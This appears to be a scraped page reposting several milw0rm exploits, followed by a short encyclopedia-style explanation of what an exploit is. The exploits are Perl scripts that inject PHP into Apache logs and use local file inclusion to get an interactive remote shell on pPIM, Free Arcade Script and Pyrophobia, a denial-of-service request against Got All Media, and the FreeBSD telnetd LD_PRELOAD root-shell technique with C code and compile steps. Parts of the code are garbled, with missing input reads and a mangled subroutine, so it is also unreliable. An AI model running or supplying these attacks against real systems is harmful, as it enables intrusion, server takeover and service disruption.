"../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../var/log/apache/error_log",
"../../../../../../../var/log/apache2/error_log",
"../../../../../../../var/log/apache/error.log",
"../../../../../../../var/log/apache2/error.log",
"../../../../../../../var/log/error_log",
"../../../../../../../var/log/error.log",
"../../../../../var/log/access_log",
"../../../../../var/log/access_log"
);

system(($^O eq 'MSWin32') ? 'cls' : 'clear');

print "#######################################################################\n";
print "# pPIM 1.01 (notes.php id) Remote Command Execution Exploit | By JosS #\n";
print "#######################################################################\n\n";


if (!$ARGV[0])
{
print "Usage: perl exploit.pl [host]\n";
print " perl exploit.pl localhost\n\n";
exit;}

$host=$ARGV[0];
$path="/notes.php?mode=edit&id="; # change if it is necesary

# if ( $host =~ /^http:/ ) {$host =~ s/http:\/\///g;}

print "\nTrying to Inject the Code...\n";
$CODE="";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.\n\n";
print $socket "GET /images/"."\#\#%\$\$%\#\#".$CODE."\#\#%\$\$%\#\#" . "HTTP/1.1";
print $socket "Host: ".$host."\r\n";
print $socket "Connection: close\r\n\r\n";
close($socket);

if ( $host !~ /^http:/ ) {$host = "http://" . $host;}

foreach $getlog(@apache)
{
chomp($getlog);
$find= $host.$path.$getlog; # $find= $host.$path.$getlog."";
$xpl = LWP::UserAgent->new() or die "Could not initialize browser\n";
$req = HTTP::Request->new(GET => $find);
$res = $xpl->request($req);
$info = $res->content;
if($info =~ /\#\#\%\$\$\%\#\#/) # change if it is necesary
{print "Successfully injected in $getlog \n\n";$log=$getlog; last;}
}

print "[shell]:~\$ ";
chomp( $cmd = );

while($cmd !~ "exit") {
$shell= $host.$path.$log."&cmd=$cmd"; # $shell= $host.$path.$log."&cmd=$cmd";
$xpl = LWP::UserAgent->new() or die "Could not initialize browser\n";
$req = HTTP::Request->new(GET => $shell);
$res = $xpl->request($req);
$info = $res->content;
if ($info =~ /\#\#%\$\$%\#\#(.*?)\#\#%\$\$%\#\#/sg)
{print $1;}
print "[shell]:~\$ ";
chomp( $cmd = );
}


# __h0__

# milw0rm

Free Arcade Script 1.0 LFI Command Execution Exploit

#!/usr/bin/perl

# |----------------------------------------------------------------------------------------------------------------------------------|
# | INFORMATIONS |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |Web Application : Free Arcade Script 1.0 |
# |Download : http://freearcadescript.net/download.php?type=zip&name=freearcadescript&size=null&file=freearcadescriptv1.0.zip |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |Remote Command Execution Exploit via Apache Log Injection |
# |by Osirys |
# |osirys[at]autistici[dot]org |
# |osirys.org |
# |Thx&Greets to: evilsocket, Fireshot, Todd, str0ke |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |/[path]/pages/play.php is affected to Local File Inclusion vulnerability:
# |[code]
# |No game selected.';
# | include ('templates/'.$template.'/footer.php');
# | exit;
# |}
# |[/code]
# |$template is not declared. So, in case of php.ini configuration :
# |register_globals = On
# |we can set $template value from GET :
# |p0c : /[path]/pages/play.php?template=[lfi]

# ------------------------------------------------------------------
# Exploit in action [>!]
# ------------------------------------------------------------------
# osirys[~]>$ perl lfi.txt http://localhost/freearcadescriptv1.0/
#
# ---------------------------------
# Free Arcade Script RCE Sploit
# (Log Inj)
# by Osirys
# ---------------------------------
#
# [*] Injecting evil php code ..
# [*] Cheeking for Apache Logs ..
# [*] Apache Log Injection completed
# [*] Path: /var/log/httpd/access_log
# [!] Hi my master, do your job now [x]
#
# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> pws
# bash: pws: command not found
# shell[localhost]$> pwd
# /home/osirys/web/freearcadescriptv1.0/pages
# shell[localhost]$> exit
# [-] Quitting ..
#
# osirys[~]>$
# ------------------------------------------------------------------


use IO::Socket::INET;
use LWP::UserAgent;

my $host = $ARGV[0];
my $lfi_path = "/pages/play.php?template=";
my $null_byte = "";
my $rand_a = int(rand 150);
my $rand1 = "1337".$rand_a."1337";
my $rand_b = int(rand 150);
my $rand2 = "1337".$rand_b."1337";
my $gotcha = 0;
my $dir_trasv = "../../../../../../../../../..";
my @logs_dirs = qw(
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error.log
/var/log/httpd/error_log
/var/log/access_log
/logs/error.log
/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/etc/httpd/logs/access_log
/usr/local/apache/logs/error_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/www/logs/access_log
/var/www/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error.log
/var/log/error_log
/apache/logs/error.log
/apache/logs/access.log
);

my $php_code = "";

($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);


$sock = IO::Socket::INET->new(
PeerAddr => $h0st,
PeerPort => 80,
Proto => "tcp"
) || die "Can't connect to $host:80!\n";

print "[*] Injecting evil php code ..\n";


print $sock "GET /Osirys_log_inj start0".$rand1.$php_code."0end".$rand2." HTTP/1.1\r\n";
print $sock "Host: ".$host."\r\n";
print $sock "Connection: close\r\n\r\n";
close($sock);

print "[*] Cheeking for Apache Logs ..\n";

while (($log = <@logs_dirs>)&&($gotcha != 1)) {
$tmp_path = $host.$lfi_path.$dir_trasv.$log.$null_byte;
$re = get_req($tmp_path);
if ($re =~ /Osirys_log_inj/) {
$gotcha = 1;
$log_path = $tmp_path;
print "[*] Apache Log Injection completed\n";
print "[*] Path: $log\n";
print "[!] Hi my master, do your job now [x]\n\n";
&exec_cmd;
}
}

$gotcha == 1 || die "[-] Couldn't find Apache Logs\n";

sub exec_cmd {
$h0st !~ /www\./ || $h0st =~ s/www\.//;
print "shell[$h0st]\$> ";
$cmd = ;
$cmd !~ /exit/ || die "[-] Quitting ..\n\n";
$exec_url = $log_path."&cmd=".$cmd;
my $re = get_req($exec_url);
my $content = tag($re);
if ($content =~ m/start0$rand1(.+)\*0end$rand2/g) {
my $out = $1;
$out =~ s/\$/ /g;
$out =~ s/\*/\n/g;
chomp($out);
print "$out\n";
&exec_cmd;
}
else {
$c++;
$cmd =~ s/\n//;
print "bash: ".$cmd.": command not found\n";
$c < link =" $_[0];" req =" HTTP::Request-">new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return $response->content;
}

sub cheek() {
my $host = $_[0];
if ($host =~ /http:\/\/(.*)/) {
return 1;
}
else {
return 0;
}
}

sub get_input() {
my $host = $_[0];
$host =~ /http:\/\/(.*)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})\/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)/\/$1/;
$full_det = $h0st." ".$path;
return $full_det;
}

sub tag() {
my $string = $_[0];
$string =~ s/ /\$/g;
$string =~ s/\s/\*/g;
return($string);
}

sub banner {
print "\n".
" --------------------------------- \n".
" Free Arcade Script RCE Sploit \n".
" (Log Inj) \n".
" by Osirys \n".
" --------------------------------- \n\n";
}

sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "\n[-] Input data failed ! \n";
}
elsif ($error == -2) {
&banner;
print "\n[-] Bad hostname address !\n";
}
print "[*] Usage : perl $0 http://hostname/cms_path\n\n";
exit(0);
}

# milw0rm

Pyrophobia 2.1.3.1 LFI Command Execution Exploit

#!/usr/bin/perl

# |----------------------------------------------------------------------------------------------------------------------------------|
# | INFORMATIONS |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |Web Application : Pyrophobia 2.1.3.1 |
# |Download : http://surfnet.dl.sourceforge.net/sourceforge/pyrophobia/pyro2_1_3_1.tar.gz |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |Remote Command Execution Exploit via Apache Log Injection |
# |by Osirys |
# |osirys[at]autistici[dot]org |
# |osirys.org |
# |Thx&Greets to: evilsocket, Fireshot, Todd, str0ke |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |/[path]/index.php is affected to Local File Inclusion vulnerability:
# |[code]
# |
# | if($_GET['pid']){ //if page id is set do custom content functions
# | $pid=stripslashes($_GET['pid']);
# | $pid=htmlspecialchars($pid);
# | if ($pid=='') {
# | include('modules/index.php');
# | } elseif (!file_exists('content/'.$pid.'.php')) {
# | include('modules/index.php');
# | } else {
# | include('content/'.$pid.'.php');
# | }
# | }
# |<.... code ....>
# |[/code]
# |$pid comes from GET directly.
# |Works regardless of php.ini settings !
# |p0c : /[path]/index.php?pid=[lfi]

# ------------------------------------------------------------------
# Exploit in action [>!]
# ------------------------------------------------------------------
# osirys[~]>$ perl lfi.txt http://localhost/pyro2_1_3_1/
#
# ---------------------------------
# Pyrophobia Forum RCE Sploit
# (Log Inj)
# by Osirys
# ---------------------------------
#
# [*] Injecting evil php code ..
# [*] Cheeking for Apache Logs ..
# [*] Apache Log Injection completed
# [*] Path: /var/log/httpd/access_log
# [!] Hi my master, do your job now [x]
#
# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]# shell[localhost]$> pws
gt; pws
# bash: pws: command not found
# shell[localhost]$> pwd
# /home/osirys/web/pyro2_1_3_1
# shell[localhost]$> exit
# [-] Quitting ..
#
# osirys[~]>$
# ------------------------------------------------------------------


use IO::Socket::INET;
use LWP::UserAgent;

my $host = $ARGV[0];
my $lfi_path = "/index.php?pid=";
my $null_byte = "";
my $rand_a = int(rand 150);
my $rand1 = "1337".$rand_a."1337";
my $rand_b = int(rand 150);
my $rand2 = "1337".$rand_b."1337";
my $gotcha = 0;
my $dir_trasv = "../../../../../../../../../..";
my @logs_dirs = qw(
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error.log
/var/log/httpd/error_log
/var/log/access_log
/logs/error.log
/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/etc/httpd/logs/access_log
/usr/local/apache/logs/error_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/www/logs/access_log
/var/www/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error.log
/var/log/error_log
/apache/logs/error.log
/apache/logs/access.log
);

my $php_code = "";

($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);


$sock = IO::Socket::INET->new(
PeerAddr => $h0st,
PeerPort => 80,
Proto => "tcp"
) || die "Can't connect to $host:80!\n";

print "[*] Injecting evil php code ..\n";


print $sock "GET /Osirys_log_inj start0".$rand1.$php_code."0end".$rand2." HTTP/1.1\r\n";
print $sock "Host: ".$host."\r\n";
print $sock "Connection: close\r\n\r\n";
close($sock);

print "[*] Cheeking for Apache Logs ..\n";

while (($log = <@logs_dirs>)&&($gotcha != 1)) {
$tmp_path = $host.$lfi_path.$dir_trasv.$log.$null_byte;
$re = get_req($tmp_path);
if ($re =~ /Osirys_log_inj/) {
$gotcha = 1;
$log_path = $tmp_path;
print "[*] Apache Log Injection completed\n";
print "[*] Path: $log\n";
print "[!] Hi my master, do your job now [x]\n\n";
&exec_cmd;
}
}

$gotcha == 1 || die "[-] Couldn't find Apache Logs\n";

sub exec_cmd {
$h0st !~ /www\./ || $h0st =~ s/www\.//;
print "shell[$h0st]\$> ";
$cmd = ;
$cmd !~ /exit/ || die "[-] Quitting ..\n\n";
$exec_url = $log_path."&cmd=".$cmd;
my $re = get_req($exec_url);
my $content = tag($re);
if ($content =~ m/start0$rand1(.+)\*0end$rand2/g) {
my $out = $1;
$out =~ s/\$/ /g;
$out =~ s/\*/\n/g;
chomp($out);
print "$out\n";
&exec_cmd;
}
else {
$c++;
$cmd =~ s/\n//;
print "bash: ".$cmd.": command not found\n";
$c < link =" $_[0];" req =" HTTP::Request-">new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return $response->content;
}

sub cheek() {
my $host = $_[0];
if ($host =~ /http:\/\/(.*)/) {
return 1;
}
else {
return 0;
}
}

sub get_input() {
my $host = $_[0];
$host =~ /http:\/\/(.*)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})\/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)/\/$1/;
$full_det = $h0st." ".$path;
return $full_det;
}

sub tag() {
my $string = $_[0];
$string =~ s/ /\$/g;
$string =~ s/\s/\*/g;
return($string);
}

sub banner {
print "\n".
" --------------------------------- \n".
" Pyrophobia Forum RCE Sploit \n".
" (Log Inj) \n".
" by Osirys \n".
" --------------------------------- \n\n";
}

sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "\n[-] Input data failed ! \n";
}
elsif ($error == -2) {
&banner;
print "\n[-] Bad hostname address !\n";
}
print "[*] Usage : perl $0 http://hostname/cms_path\n\n";
exit(0);
}

# milw0rm

ot All Media 7.0.0.3 (t00t) Remote Denial of Service Exploit

#!/usr/local/bin/perl
#
# Title: Got All Media 7.0.0.3 Remote Denial Of Service Exploit
# Product web page: http://www.gallm.com/default.aspx
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# liquidworm [t00t] gmail [w00t] com
# http://www.zeroscience.org
# 19.02.2009
#

print "\n[*] t00ting...\n";

use LWP::Simple;

my $url = 'http://127.0.0.1:5550/t00t';
my $freeze = get $url;
die "Couldn't get $url" unless defined $freeze;

# milw0rm

FreeBSD 7.0-RELEASE Telnet Daemon Local Privilege Escalation Exploit

FreeBSD (7.0-RELEASE) telnet daemon local privilege escalation -
And possible remote root code excution.

There is a rather big bug in the current FreeBSD telnetd daemon.
The environment is not properly sanitized when execution /bin/login,
what leads to a (possible) remote root hole.

The telnet protocol allows to pass environment variables inside the
telnet traffic and assign them to the other side of the tcp connection.
The telnet daemon of FreeBSD does not check for LD_* (like LD_PRELOAD)
environment variables prior to executing /bin/login.
So passing an environment variable with the identifier LD_PRELOAD and
the value of a precompiled library that is on the filesystem of the
victims box that includes malicious code is possible.
When /bin/login is executed with the user id and group id 0 ('root') it preloads
the library that was set by remote connection through a telnet environment
definition and executes it.
It is unlikely that this bug can be exploited remotely but is not impossible.
An attacker could f.e. upload a malicious library using ftp (including anonymous
ftp users), nfs, smb or any other (file) transfer protocol.
One scenario to exploit the bug remotely would be a ftp server running beside
the telnet daemon serving also anoynmous users with write access. Then the
attacker would upload the malicious library and defines the LD_PRELOAD
variable to something similar to /var/ftp/mallib.so to gain remote root access.

Here comes the actual exploit which can be executed with standard UNIX tools.
Paste this into a file using your favorite text editor:
---snip-----
# FreeBSD telnetd local/remote privilege escalation/code execution
# remote root only when accessible ftp or similar available
# tested on FreeBSD 7.0-RELEASE
# by Kingcope/2009

#include
#include
#include
#include

void _init() {
FILE *f;
setenv("LD_PRELOAD", "", 1);
system("echo ALEX-ALEX;/bin/sh");
}
---snip-----

Then we compile this stuff.

---snip-----
#gcc -o program.o -c program.c -fPIC
#gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
---snip-----

Then we copy the file to a known location (local root exploit)

---snip-----
#cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
---snip-----

...or we upload the library through any other available attack vector.
After that we telnet to the remote or local FreeBSD telnet daemon
with setting the LD_PRELOAD environment variable to the known location
as a telnet option before.

---snip-----
#telnet
>auth disable SRA
>environ define LD_PRELOAD /tmp/libno_ex.so.1.0
>open target
---snip-----
ALEX-ALEX
#ROOTSHELL

This will give us an immediate (probably remote) root shell.
This exploit is only verified on a FreeBSD 7.0-RELEASE fresh install
with telnetd enabled. Other version of FreeBSD may also be affected,
OpenBSD and NetBSD where not tested but MAY contain the same bug because
of historic reasons.

Signed,
Kingcope[nikolaos rangos]/2009

What is exploit

An exploit (from the same word in the French language, meaning "achievement", or "accomplishment") is a piece of software, a chunk of data, or sequence of commands that take advantage of a bug, glitch or vulnerability in order to cause unintended or unanticipated behavior to occur on computer software, hardware, or something electronic (usually computerized). This frequently includes such things as violently gaining control of a computer system or allowing privilege escalation or a denial of service attack.

Classification

There are several methods of classifying exploits. The most common is by how the exploit contacts the vulnerable software. A 'remote exploit' works over a network and exploits the security vulnerability without any prior access to the vulnerable system. A 'local exploit' requires prior access to the vulnerable system and usually increases the privileges of the person running the exploit past those granted by the system administrator. Exploits against client applications also exist, usually consisting of modified servers that send an exploit if accessed with client application. Exploits against client applications may also require some interaction with the user and thus may be used in combination with social engineering method.

Another classification is by the action against vulnerable system: unauthorized data access, arbitrary code execution, denial of service.

Many exploits are designed to provide superuser-level access to a computer system. However, it is also possible to use several exploits, first to gain low-level access, then to escalate privileges repeatedly until one reaches root.

Normally a single exploit can only take advantage of a specific software vulnerability. Often, when an exploit is published, the vulnerability is fixed through a patch and the exploit becomes obsolete for newer versions of the software. This is the reason why some blackhat hackers do not publish their exploits but keep them private to themselves or other malicious crackers. Such exploits are referred to as 'zero day exploits' and to obtain access to such exploits is the primary desire of unskilled malicious attackers, often nicknamed script kiddies.

Types

Exploits are commonly categorized and named by these criteria:

• The type of vulnerability they exploit (See the article on vulnerabilities )
• Whether they need to be run on the same machine as the program that has the vulnerability (local) or can be run on one machine to attack a program running on another machine (remote).
• The result of running the exploit (EoP, DoS, Spoofing, etc...)